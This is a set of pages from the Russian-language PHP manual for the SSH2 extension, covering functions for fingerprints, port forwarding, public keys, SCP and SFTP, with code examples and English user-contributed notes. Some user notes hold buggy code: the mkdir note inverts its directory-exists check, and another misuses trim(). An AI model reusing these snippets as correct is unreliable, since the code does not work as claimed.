Возвращаемые значения

Возвращает хеш ключа хоста в виде строки.

Примеры

Пример #1 Проверка отпечатка с известным значением

<?php
$known_host = '6F89C2F0A719B30CC38ABDF90755F2E4';

$connection = ssh2_connect('shell.example.com', 22);

$fingerprint = ssh2_fingerprint($connection,
SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);

if ($fingerprint != $known_host) {
die("Ключ хоста не совпадает!\n" .
"Возможно, атака посредника?");
}
?>

User Contributed Notes

Lyle Mantooth 07-Dec-2013 03:42
If you're going to compare the fingerprint to a user-submitted form field, it's probably a good idea to do case-insensitive comparison:
<?php

if ($conn = ssh2_connect($user, $password)) {
    $fingerprint = ssh2_fingerprint($conn);
    if (strcasecmp($fingerprint, $known_value) === 0) {
        // Do your thing.
    }
}
?>
Of course, this is only necessary when you use the SSH2_FINGERPRINT_HEX option, not SSH2_FINGERPRINT_RAW.


Принимает соединение, созданное слушателем

  • « ssh2_fingerprint
  • ssh2_forward_listen »
  • PHP Manual
  • Функции SSH2
  • Принимает соединение, созданное слушателем

ssh2_forward_accept

(PECL ssh2 >= 0.9.0)

ssh2_forward_accept — Принимает соединение, созданное слушателем

Описание

ssh2_forward_accept(resource $listener): resource|false

Принимает соединение, созданное слушателем.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

desc

Ресурс SSH2 Listener, полученный в результате вызова ssh2_forward_listen().

Возвращаемые значения

Возвращает ресурс потока или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Связывает порт на удалённом сервере и прослушивает соединения

  • « ssh2_forward_accept
  • ssh2_methods_negotiated »
  • PHP Manual
  • Функции SSH2
  • Связывает порт на удалённом сервере и прослушивает соединения

ssh2_forward_listen

(PECL ssh2 >= 0.9.0)

ssh2_forward_listen — Связывает порт на удалённом сервере и прослушивает соединения

Описание

ssh2_forward_listen(
resource $session,
int $port,
string $host = ?,
int $max_connections = 16
): resource|false

Связывает порт на удалённом сервере и прослушивает соединения.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

session

Ресурс SSH Session, полученный в результате вызова ssh2_connect().

port

Порт удалённого сервера.

host

max_connections

Возвращаемые значения

Возвращает SSH2 Listener или false в случае возникновения ошибки.

Смотрите также

  • ssh2_forward_accept() - Принимает соединение, созданное слушателем

User Contributed Notes

There are no user contributed notes for this page.


Возвращает список согласованных методов

  • « ssh2_forward_listen
  • ssh2_poll »
  • PHP Manual
  • Функции SSH2
  • Возвращает список согласованных методов

ssh2_methods_negotiated

(PECL ssh2 >= 0.9.0)

ssh2_methods_negotiated — Возвращает список согласованных методов

Описание

ssh2_methods_negotiated(resource $session): array

Возвращает список согласованных методов.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

Возвращаемые значения

Примеры

Пример #1 Определим, какие методы согласованы

<?php
$connection = ssh2_connect('shell.example.com', 22);
$methods = ssh2_methods_negotiated($connection);

echo "Ключи шифрования согласовываются методом: {$methods['kex']}\n";
echo "Сервер идентифицирован с использованием {$methods['hostkey']} и ";
echo "отпечатком: " . ssh2_fingerprint($connection) . "\n";

echo "Пакеты от клиента к серверу:\n";
echo "\tШифрование: {$methods['client_to_server']['crypt']}\n";
echo "\tСжатие: {$methods['client_to_server']['comp']}\n";
echo "\tMAC: {$methods['client_to_server']['mac']}\n";

echo "Пакеты от сервера к клиенту:\n";
echo "\tШифрование: {$methods['server_to_client']['crypt']}\n";
echo "\tСжатие: {$methods['server_to_client']['comp']}\n";
echo "\tMAC: {$methods['server_to_client']['mac']}\n";

?>

Смотрите также

  • ssh2_connect() - Подключение к SSH-серверу

User Contributed Notes

There are no user contributed notes for this page.


Опрашивает каналы/слушателей/потоки на предмет событий

  • « ssh2_methods_negotiated
  • ssh2_publickey_add »
  • PHP Manual
  • Функции SSH2
  • Опрашивает каналы/слушателей/потоки на предмет событий

ssh2_poll

(PECL ssh2 >= 0.9.0)

ssh2_poll — Опрашивает каналы/слушателей/потоки на предмет событий

Описание

ssh2_poll(array &$desc, int $timeout = 30): int

Опрашивает каналы/слушателей/потоки на предмет событий и возвращает количество дескрипторов, которые вернули ненулевые повторения.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

desc

Индексированный массив подмассивов с ключами 'resource' и 'events'. Значение ресурса - это (канал) поток или ресурс SSH2 Listener. Значением события являются флаги SSH2_POLL*, объединённые побитовым ИЛИ. Каждый подмассив будет заполнен элементом 'revents' при возврате, значения которого представляют собой флаги SSH2_POLL*, объединённые побитовым ИЛИ совместно с произошедшими событиями.

timeout

Время ожидания в секундах.

Возвращаемые значения

Возвращает количество дескрипторов, которые вернули ненулевые повторения.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет авторизованный открытый ключ

  • « ssh2_poll
  • ssh2_publickey_init »
  • PHP Manual
  • Функции SSH2
  • Добавляет авторизованный открытый ключ

ssh2_publickey_add

(PECL ssh2 >= 0.10)

ssh2_publickey_add — Добавляет авторизованный открытый ключ

Описание

ssh2_publickey_add(
resource $pkey,
string $algoname,
string $blob,
bool $overwrite = false,
array $attributes = ?
): bool

Замечание: Подсистема открытых ключей используется для управления открытыми ключами на сервере, на котором клиент уже прошёл авторизацию. Для авторизации с помощью открытого ключа на удалённой системе, используйте вместо этого функцию ssh2_auth_pubkey_file().

Список параметров

pkey

Ресурс подсистемы открытого ключа, созданный с помощью ssh2_publickey_init().

algoname

Алгоритм ключа: ssh-dss, ssh-rsa

blob

Бинарная строка, содержащая открытый ключ

overwrite

Нужно ли перезаписать ключ, если он уже есть?

attributes

Ассоциативный массив атрибутов, присваиваемых открытому ключу. Список поддерживаемых атрибутов ищите по словам "ietf-secsh-publickey-subsystem". Для указания какого-либо атрибута обязательным, поставьте перед именем звёздочку. Если сервер не поддерживает какой-либо атрибут, помеченный обязательным - это прервёт процесс добавления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавляем открытый ключ с помощью ssh2_publickey_add()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'password');
$pkey = ssh2_publickey_init($ssh2);

$keyblob = base64_decode('
AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5PTrLRdjNONxXH1tVFGn0
Bd26BF0aCP9qyJRlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xj
zaLpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VEHYckxQ16CjSTibI5X
69GmnYC9PNqEYq/1TP+HF10=');

ssh2_publickey_add($pkey, 'ssh-rsa', $keyblob, false, array('comment'=>"John's Key"));
?>

Смотрите также

  • ssh2_publickey_init() - Инициализирует подсистему открытого ключа
  • ssh2_publickey_remove() - Удаляет авторизованный открытый ключ
  • ssh2_publickey_list() - Список уже авторизованных открытых ключей

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует подсистему открытого ключа

  • « ssh2_publickey_add
  • ssh2_publickey_list »
  • PHP Manual
  • Функции SSH2
  • Инициализирует подсистему открытого ключа

ssh2_publickey_init

(PECL ssh2 >= 0.10)

ssh2_publickey_init — Инициализирует подсистему открытого ключа

Описание

ssh2_publickey_init(resource $session): resource|false

Запрашивает подсистему открытого ключа из уже открытого соединения SSH2.

Подсистема открытого ключа позволяет авторизованному клиенту управлять списком авторизованных открытых ключей, хранящихся на сервере независимым образом. Если удалённый сервер не поддерживает подсистему открытого ключа, функция ssh2_publickey_init() вернёт false.

Список параметров

session

Возвращаемые значения

Возвращает ресурс подсистемы открытого ключа SSH2 (SSH2 Publickey Subsystem) для использования с остальными методами ssh2_publickey_*() или false в случае возникновения ошибки.

Примечания

Замечание: Подсистема открытых ключей используется для управления открытыми ключами на сервере, на котором клиент уже прошёл авторизацию. Для авторизации с помощью открытого ключа на удалённой системе, используйте вместо этого функцию ssh2_auth_pubkey_file().

Смотрите также

  • ssh2_publickey_add() - Добавляет авторизованный открытый ключ
  • ssh2_publickey_remove() - Удаляет авторизованный открытый ключ
  • ssh2_publickey_list() - Список уже авторизованных открытых ключей

User Contributed Notes

There are no user contributed notes for this page.


Список уже авторизованных открытых ключей

  • « ssh2_publickey_init
  • ssh2_publickey_remove »
  • PHP Manual
  • Функции SSH2
  • Список уже авторизованных открытых ключей

ssh2_publickey_list

(PECL ssh2 >= 0.10)

ssh2_publickey_list — Список уже авторизованных открытых ключей

Описание

ssh2_publickey_list(resource $pkey): array

Список в настоящее время авторизованных открытых ключей.

Список параметров

pkey

Ресурс подсистемы открытого ключа

Возвращаемые значения

Возвращает индексированный массив ключей, каждый из которых представляет из себя ассоциативный массив, содержащий элементы с ключами: name, blob, attrs.

Элементы публичного ключа
Ключ массива | Что означает
name | Имя алгоритма, с помощью которого создавался ключ: ssh-dss или ssh-rsa.
blob | Строка бинарных данных - сам ключ
attrs | Атрибуты, присвоенные ключу. Наиболее часто используется (и единственный доступный подсистемой открытого ключа версии 1) - это comment, представляющий из себя строку свободного формата.

Примеры

Пример #1 Список авторизованных ключей с помощью ssh2_publickey_list()

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'secret');
$pkey = ssh2_publickey_init($ssh2);

$list = ssh2_publickey_list($pkey);

foreach($list as $key) {
echo "Key: {$key['name']}\n";
echo "Blob: " . chunk_split(base64_encode($key['blob']), 40, "\n") . "\n";
echo "Comment: {$key['attrs']['comment']}\n\n";
}
?>

Результат выполнения данного примера:

Key: ssh-rsa
Blob: AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5P
TrLRdjNONxXH1tVFGn0Bd26BF0aCP9qyJRlvdJ3j
4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xjza
Lpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VE
HYckxQ16CjSTibI5X69GmnYC9PNqEYq/1TP+HF10
Comment: John's Key

Key: ssh-rsa
Blob: AAAAB3NzaHVt6VqSGd5C1yc2EAAAABIwA232dnJA
AIEA5HVt6VqSGd5PTrLRdjNONxX/1TP+HF1HVt6V
qSGd50H1tVFGn0BB3NzaC1yc2EAd26BF0aCP9qyJ
RlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26HVt6Vq
SGd5sDHwfL351xjzaLpipu\BGB3NzaC1yc2EA/1T
Comment: Alice's Key

Примечания

Замечание: Подсистема открытых ключей используется для управления открытыми ключами на сервере, на котором клиент уже прошёл авторизацию. Для авторизации с помощью открытого ключа на удалённой системе, используйте вместо этого функцию ssh2_auth_pubkey_file().

Смотрите также

  • ssh2_publickey_init() - Инициализирует подсистему открытого ключа
  • ssh2_publickey_add() - Добавляет авторизованный открытый ключ
  • ssh2_publickey_remove() - Удаляет авторизованный открытый ключ

User Contributed Notes

There are no user contributed notes for this page.


Удаляет авторизованный открытый ключ

  • « ssh2_publickey_list
  • ssh2_scp_recv »
  • PHP Manual
  • Функции SSH2
  • Удаляет авторизованный открытый ключ

ssh2_publickey_remove

(PECL ssh2 >= 0.10)

ssh2_publickey_remove — Удаляет авторизованный открытый ключ

Описание

ssh2_publickey_remove(resource $pkey, string $algoname, string $blob): bool

Удаляет авторизованный открытый ключ.

Список параметров

pkey

Ресурс подсистемы открытого ключа

algoname

Алгоритм ключа: ssh-dss, ssh-rsa

blob

Бинарная строка, содержащая ключ

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание: Подсистема открытых ключей используется для управления открытыми ключами на сервере, на котором клиент уже прошёл авторизацию. Для авторизации с помощью открытого ключа на удалённой системе, используйте вместо этого функцию ssh2_auth_pubkey_file().

Смотрите также

  • ssh2_publickey_init() - Инициализирует подсистему открытого ключа
  • ssh2_publickey_add() - Добавляет авторизованный открытый ключ
  • ssh2_publickey_list() - Список уже авторизованных открытых ключей

User Contributed Notes

There are no user contributed notes for this page.


Запрос файла через SCP

  • « ssh2_publickey_remove
  • ssh2_scp_send »
  • PHP Manual
  • Функции SSH2
  • Запрос файла через SCP

ssh2_scp_recv

(PECL ssh2 >= 0.9.0)

ssh2_scp_recv — Запрос файла через SCP

Описание

ssh2_scp_recv(resource $session, string $remote_file, string $local_file): bool

Копирование файла с сервера на клиент, используя протокол SCP.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

remote_file

Путь к файлу на сервере.

local_file

Локальный путь для сохранения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Загрузка файла через SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_recv($connection, '/remote/filename', '/local/filename');
?>

Смотрите также

  • ssh2_scp_send() - Отправка файла через SCP
  • copy() - Копирует файл

User Contributed Notes

liubomyr dot pelo at gmail dot com 20-Jul-2016 07:56
In case if you get:

Warning: ssh2_scp_recv(): Unable to receive remote file in /some-php-file.php on line 2

Use `stream_get_contents` function.

Example:
<?php
$stream = @fopen("ssh2.sftp://$sftp$remoteFile", 'r');
if (! $stream) {
        throw new \Exception("Could not open file: $remoteFile");
}

$contents = stream_get_contents($stream);
file_put_contents ($localFile, $contents);
@fclose($stream);
?>
Maddie 30-Jul-2013 05:40
If you are getting the error - ssh2_scp_recv(): Unable to receive remote file

Try using file_get_contents("ssh2.sftp://$sftp$fileLocation") and file_put_contents() as a workaround-- this is after I tried all sorts of different remote file path formats to no avail.
Anonymous 24-Jun-2013 09:14
May fail when trying to get a remote file from the user's home directory when you try to use a path like '~/filename.txt' .  It appears to dislike tildes, so use the full file path.
mark at mohc dot net 03-Oct-2012 12:47
Transferred files can be truncated if you do not call ssh2_exec($connection,'exit').  ssh2_scp_send will return true even if the file did not completely transfer.

eg.

ssh2_scp_send($connection, $infile, $remotefile, 0644);
ssh2_exec($connection, 'exit'); // exit the ssh2 connection
ojovirtual 25-May-2011 01:37
Trying to get a remote file with spaces in its name?

Never forget to use quotes in the remote filename, but never in the local one.

Example:

<?php
$remote_file_name="my name with spaces.ext"

ssh2_scp_recv($cn,$remote_file_name,$local_path."/".$remote_file_name); // ERROR

ssh2_scp_recv($cn,"\"".$remote_file_name."\"",$local_path."/".$remote_file_name); //OK

ssh2_scp_recv($cn,"\"".$remote_file_name."\"","\"".$local_path."/".$remote_file_name."\""); //ERROR
?>

So, the quotes in the file name are needed only for remote, not for local.
luis dot sv at gmail dot com 19-May-2010 03:16
This function can be used to copy all files into a directory on a remote server, using SSH and SCP.

<?php
$connection = ssh2_connect('host', 22);
ssh2_auth_password($connection, 'user', 'password');

$remote_dir="/remote_dir/";
$local_dir="/local_dir/";

$com ="ls $remote_dir";
$stream = ssh2_exec($connection, $com);
stream_set_blocking($stream,true);
$cmd=fread($stream,4096);

$arr=explode("\n",$cmd);

$total_files=sizeof($arr);

for($i=0;$i<$total_files;$i++){
    $file_name=trim($arr[$i]);
    if($file_name!=''){
        $remote_file=$remote_dir.$file_name;
        $local_file=$local_dir.$file_name;

        if(ssh2_scp_recv($connection, $remote_file,$local_file)){
            echo "File ".$file_name." was copied to $local_dir<br />";
        }
    }
}

fclose($stream);
?>
gordon_e_rouse at yahoo dot com dot au 28-May-2008 03:19
Being still in Beta, I guess it will have it quirks. One I found was that if the remote filename has brackets in it, it just wont work.

I should file it as a bug report, but find the process all intimidating really - I am always just a stupid user who does not know what he is on about!

But anyway - the work around of renaming the file before downloading it works fine.

use:
$_new_path = str_replace("(", "", $_path );
$_new_path = str_replace(")", "", $_new_path );

ssh2_sftp_rename( $sftp,  $_path, $_new_path );

To tell you the truth I haven't determined if it is the open or close bracket, or both. Someone else can investigate that.

Meanwhile, it would be good to know all the bad filename characters which this function has problems with, no doubt there are more.
miller4980 at msn dot com 23-Apr-2008 11:10
Problem:
  can't pass an array to sftp_scp_rec()
  also: for Windows: sftp was not happy when connecting to   a  Windows dir.
  eg: sftp_scp_rec($connection, "remote/directory","local/$directory[$i]");
Solution:
The array was placing whitespace on the end of the variable.
trim(" ","",$directory[$i]);

connecting to Windows dir:
sftp_scp_rec($connection, "linux/directory","\\windows\share[$i]");

This script backs up remote Linux directories to a local Windows directory based on modified dates of files.

The Idea is to get a complete back up of a directory via ftp client etc.
Then when the script runs it will back up newly modified files only.

<?php
//error_reporting(0);

$file        ='';
$arr2        ='';
$arr1        ='';
$ldir         = '';

$remotedirs[0]     = "Domain name or IP address/";
$remotedirs[1]     = "Domain name or IP address/";
$remotedirs[2]     = "Domain name or IP address/";
$remotedirs[3]     = "Domain name or IP address/";

    $fh = fopen("c:\dirlist.txt","w");
    fwrite($fh, " ");
    fclose($fh);
foreach ($remotedirs as $val){
echo $remotedir = "/data/www/$val/";
$localdir     = "\\\\192.168.0.234\\C$\\xampp\\htdocs\\$val\\";
backupwebsites($remotedir,$localdir);
}
function backupwebsites($remotedir,$localdir){
    $connection = ssh2_connect(Host IP or Domain, 22);
    $com ="ls -R -lt $remotedir";
    ssh2_auth_password($connection, 'user', 'password');
    $stream = ssh2_exec($connection, $com );
    stream_set_blocking($stream, true);
    $output = stream_get_contents($stream);

    $fh = fopen("c:\dirlist.txt","a+");
    fwrite($fh, $output);
    fclose($fh);
    $handle = @fopen('c:\dirlist.txt', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
    foreach ($lines as $val)
    {
        $yr = date('Y-m-d');
        $i++;
        $arr1=split("200",$val);
        $arr2=explode(" ",$arr1[1]);
        if("200".$arr2[0]==$yr)
        {
            //if("200".$arr2[0]=='2008-04-21'){    //for testing
            $remotedir = $remotedir.$arr2[2];
            $cpy=$arr2[2];
            $file = $localdir;
            glue($connection,$remotedir,$localdir,$cpy);
        }
    }
}
//echo $i;
function glue($connection,$remotedir,$localdir,$cpy){
    $ldir[0] = "$localdir";
    $ldir[1]="$cpy";
    $file = $ldir[0].$ldir[1];
    $file = trim($file);
     $file;
 gop($connection,$remotedir,$file);
}
function gop($connection,$remotedir,$file){
echo $file;

ssh2_scp_recv(
$connection,
$remotedir,
$file);
}

?>
chad dot [the letter d] johnson AT gmail 26-Mar-2008 12:23
If when trying to use this function you get "Warning: ssh2_scp_send(): Failure creating remote file," then try using

$data = file_get_contents("ssh2.sftp://$sftp/path/to/file");
jcalcote at novell dot com 08-Aug-2006 01:51
If you scan a remote directory for a list of files by using opendir and readdir on a path obtained from ssh2_sftp(), you'll end up with a list of full file paths containing the ssh2.sftp://$sftp prefix, where $sftp is the sftp resource string returned by ssh2_sftp.

If you later attempt to use ssh2_scp_recv() (even on the same connection!) to copy files locally from the remote path, the copy operation will fail because ssh2_scp_recv() doesn't like the wrapper path prefix. It expects remote file references to be rooted at the base of the remote file system (eg., '/').

Moral: ssh2_scp_recv() likes paths rooted at the file system root on the remote machine, not full network paths. This routine will fail with an obscure message about not being able to copy the files - yet when you go look it works fine. Worse, when you connect and copy them from an scp shell session, it also works fine.


Отправка файла через SCP

  • « ssh2_scp_recv
  • ssh2_send_eof »
  • PHP Manual
  • Функции SSH2
  • Отправка файла через SCP

ssh2_scp_send

(PECL ssh2 >= 0.9.0)

ssh2_scp_send — Отправка файла через SCP

Описание

ssh2_scp_send(
resource $session,
string $local_file,
string $remote_file,
int $create_mode = 0644
): bool

Копирование файла с клиента на сервер, используя протокол SCP.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

local_file

Путь к локальному файлу.

remote_file

Путь на сервере, куда будет сохранён файл.

create_mode

Файл будет создан с правами доступа, указанным в create_mode.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Загрузка файла на сервер через SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_send($connection, '/local/filename', '/remote/filename', 0644);
?>

Смотрите также

  • ssh2_scp_recv() - Запрос файла через SCP
  • copy() - Копирует файл

User Contributed Notes

j dot patus at simpledino dot com 07-Feb-2017 09:40
In case the command:

$sftpStream = @fopen('ssh2.sftp://'.$sftp.$dstFile, 'w');

causes you a segmentation fault, try using:

$sftpStream = @fopen('ssh2.sftp://'.intval($sftp).$dstFile, 'w');

Credit: http://stackoverflow.com/questions/7414175/php-sftp-seg-fault
emmanuel dot kartmann at prosdk dot com 02-Apr-2010 06:23
On Windows, I had trouble using ssh2_scp_send: files copied to a remote server where incomplete (truncated) and/or locked (error message : "access denied"). The back-end is also on Windows, using CopSSH (cygwin-based SSH server).

The SSH session was kept open - and the file were never flushed to disk.

There's a workaround though - make an explicit call to "exit" to close the session (flushing file content to disk):

<?php
  $objConnection = ssh2_connect($strHost, $strPort, $methods, $callbacks);
  ssh2_auth_password($objConnection, $strUser, $strPassword);
  ssh2_scp_send($objConnection , $strSource, $strDest);

  // Add this to flush buffers/close session
  ssh2_exec($objConnection, 'exit');
?>
stefanov at uk dot ibm dot com 02-May-2008 02:07
In addition to my previous post, I figured out that sftp->fopen->file_get_contents->fwrite has much better performance than ssh2_scp_send.

I've used the following code to test:

<?php
$srcFile = '/var/tmp/dir1/file_to_send.txt';
$dstFile = '/var/tmp/dir2/file_received.txt';

// Create connection the the remote host
$conn = ssh2_connect('my.server.com', 22);

// Create SFTP session
$sftp = ssh2_sftp($conn);

$sftpStream = @fopen('ssh2.sftp://'.$sftp.$dstFile, 'w');

try {

    if (!$sftpStream) {
        throw new Exception("Could not open remote file: $dstFile");
    }

    $data_to_send = @file_get_contents($srcFile);

    if ($data_to_send === false) {
        throw new Exception("Could not open local file: $srcFile.");
    }

    if (@fwrite($sftpStream, $data_to_send) === false) {
        throw new Exception("Could not send data from file: $srcFile.");
    }

    fclose($sftpStream);

} catch (Exception $e) {
    error_log('Exception: ' . $e->getMessage());
    fclose($sftpStream);
}
?>

For the test I've sent three files with total size of 6kB, and the times to send including connect to the server were:

SFTP -> 15 sec.
ssh2_scp_send -> 22 sec.

Cheers,

Pimmy
stefanov at uk dot ibm dot com 25-Apr-2008 02:23
After some testing I figured out that ssh2_scp_send does not work exactly as the standard scp command:

- Works: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/file_02.txt');
- Wrong: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp'); (Creates file with name 'tmp')
- Fails: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/');
- Fails: ssh2_scp_send($conn, '/dirname', /var/tmp/'); (No recursion)
- Fails: ssh2_scp_send($conn, '/dirname/*', /var/tmp/'); (Cannot copy more than one file.)

Cheers,

Pimmy


Отправляет EOF в поток

  • « ssh2_scp_send
  • ssh2_sftp_chmod »
  • PHP Manual
  • Функции SSH2
  • Отправляет EOF в поток

ssh2_send_eof

(PECL ssh2 >= 1.3)

ssh2_send_eof — Отправляет EOF в поток

Описание

ssh2_send_eof(resource $channel): bool

Отправляет EOF в поток; обычно используется для закрытия стандартного ввода, сохраняя при этом вывод и ошибку. Например, можно отправить удалённому процессу некоторые данные через стандартный ввод, закрыть его, чтобы начать обработку, и по-прежнему иметь возможность считывать результаты без создания дополнительных файлов.

Список параметров

channel

Поток SSH; можно получить с помощью таких функций, как ssh2_fetch_stream() или ssh2_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ssh2_fetch_stream() - Получение расширенного потока данных

User Contributed Notes

There are no user contributed notes for this page.


Изменение прав доступа

  • « ssh2_send_eof
  • ssh2_sftp_lstat »
  • PHP Manual
  • Функции SSH2
  • Изменение прав доступа

ssh2_sftp_chmod

(PECL ssh2 >= 0.12)

ssh2_sftp_chmod — Изменение прав доступа

Описание

ssh2_sftp_chmod(resource $sftp, string $filename, int $mode): bool

Пытается изменить права доступа указанного файла на сервере на mode.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

filename

Путь к файлу на сервере.

mode

Права доступа к файлу. Для более детальной информации смотрите описание функции chmod().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Изменение прав доступа к файлу

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_chmod($sftp, '/somedir/somefile', 0755);
?>

Смотрите также

  • chmod() - Изменяет режим доступа к файлу
  • ssh2_sftp() - Инициализировать подсистему SFTP
  • ssh2_connect() - Подключение к SSH-серверу

User Contributed Notes

boris at brdaric dot com 17-Jan-2020 09:40
It seems that when creating directory using this function, permissions are affected by the system umask setting.

If you want to make sure proper permissions are set, after creating directory, set permissions by using ssh2_?sftp_?chmod function.


Информация о символической ссылке

  • « ssh2_sftp_chmod
  • ssh2_sftp_mkdir »
  • PHP Manual
  • Функции SSH2
  • Информация о символической ссылке

ssh2_sftp_lstat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_lstat — Информация о символической ссылке

Описание

ssh2_sftp_lstat(resource $sftp, string $path): array

Информация о символической ссылке на серверной файловой системе без перехода по ней.

Эта функция аналогична использованию функции lstat() с обёрткой ssh2.sftp:// и возвращает такие же значения.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

path

Путь к символической ссылке.

Возвращаемые значения

Список возвращаемых значений смотрите в описании функции stat().

Примеры

Пример #1 Информация о символической ссылке

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_lstat($sftp, '/path/to/symlink');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

Смотрите также

  • ssh2_sftp_stat() - Информация о файле
  • lstat() - Возвращает информацию о файле или символической ссылке
  • stat() - Возвращает информацию о файле

User Contributed Notes

There are no user contributed notes for this page.


Создать директорию

  • « ssh2_sftp_lstat
  • ssh2_sftp_readlink »
  • PHP Manual
  • Функции SSH2
  • Создать директорию

ssh2_sftp_mkdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_mkdir — Создать директорию

Описание

ssh2_sftp_mkdir(
resource $sftp,
string $dirname,
int $mode = 0777,
bool $recursive = false
): bool

Создаёт директорию на сервере с заданными в mode правами доступа.

Функция аналогична использованию mkdir() с обёрткой ssh2.sftp://.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

dirname

Путь к новой директории.

mode

Маска прав доступа. Фактический режим зависит от текущей umask.

recursive

Если recursive задан как true, создаются все родительские директории dirname, если их нет.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Создание директории на удалённом сервере

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_mkdir($sftp, '/home/username/newdir');
/* Или так: mkdir("ssh2.sftp://$sftp/home/username/newdir"); */
?>

Смотрите также

  • mkdir() - Создаёт директорию
  • ssh2_sftp_rmdir() - Удаляет директорию

User Contributed Notes

murtuzazabuawala at gmail dot com 16-Sep-2022 06:07
we can first check for directory exists and create a new directory

       if (is_dir("ssh2.sftp://intval($sftp)/some_directory/archive/")) {
                    mkdir("ssh2.sftp://intval($sftp)/some_directory/archive/",0777, true);
                }


Возвращает объект по символической ссылке

  • « ssh2_sftp_mkdir
  • ssh2_sftp_realpath »
  • PHP Manual
  • Функции SSH2
  • Возвращает объект по символической ссылке

ssh2_sftp_readlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_readlink — Возвращает объект по символической ссылке

Описание

ssh2_sftp_readlink(resource $sftp, string $link): string

Возвращает объект по символической ссылке.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

link

Путь к символической ссылке.

Возвращаемые значения

Возвращает объект, на который смотрит ссылка link.

Примеры

Пример #1 Чтение символической ссылки

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$target = ssh2_sftp_readlink($sftp, '/tmp/mysql.sock');
/* $target теперь такой (например): '/var/run/mysql.sock' */
?>

Смотрите также

  • readlink() - Возвращает файл, на который указывает символическая ссылка
  • ssh2_sftp_symlink() - Создать символическую ссылку

User Contributed Notes

There are no user contributed notes for this page.


Определяет полный путь по предоставленной строке с путём

  • « ssh2_sftp_readlink
  • ssh2_sftp_rename »
  • PHP Manual
  • Функции SSH2
  • Определяет полный путь по предоставленной строке с путём

ssh2_sftp_realpath

(PECL ssh2 >= 0.9.0)

ssh2_sftp_realpath — Определяет полный путь по предоставленной строке с путём

Описание

ssh2_sftp_realpath(resource $sftp, string $filename): string

Преобразует filename в полный путь до файла на удалённом сервере.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

filename

Возвращаемые значения

Возвращает полный путь в виде строки.

Примеры

Пример #1 Определение полного пути

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$realpath = ssh2_sftp_realpath($sftp, '/home/username/../../../..//./usr/../etc/passwd');
/* $realpath теперь: '/etc/passwd' */
?>

Смотрите также

  • realpath() - Возвращает канонизированный абсолютный путь к файлу
  • ssh2_sftp_symlink() - Создать символическую ссылку
  • ssh2_sftp_readlink() - Возвращает объект по символической ссылке

User Contributed Notes

There are no user contributed notes for this page.


Переименовывает файл

  • « ssh2_sftp_realpath
  • ssh2_sftp_rmdir »
  • PHP Manual
  • Функции SSH2
  • Переименовывает файл

ssh2_sftp_rename

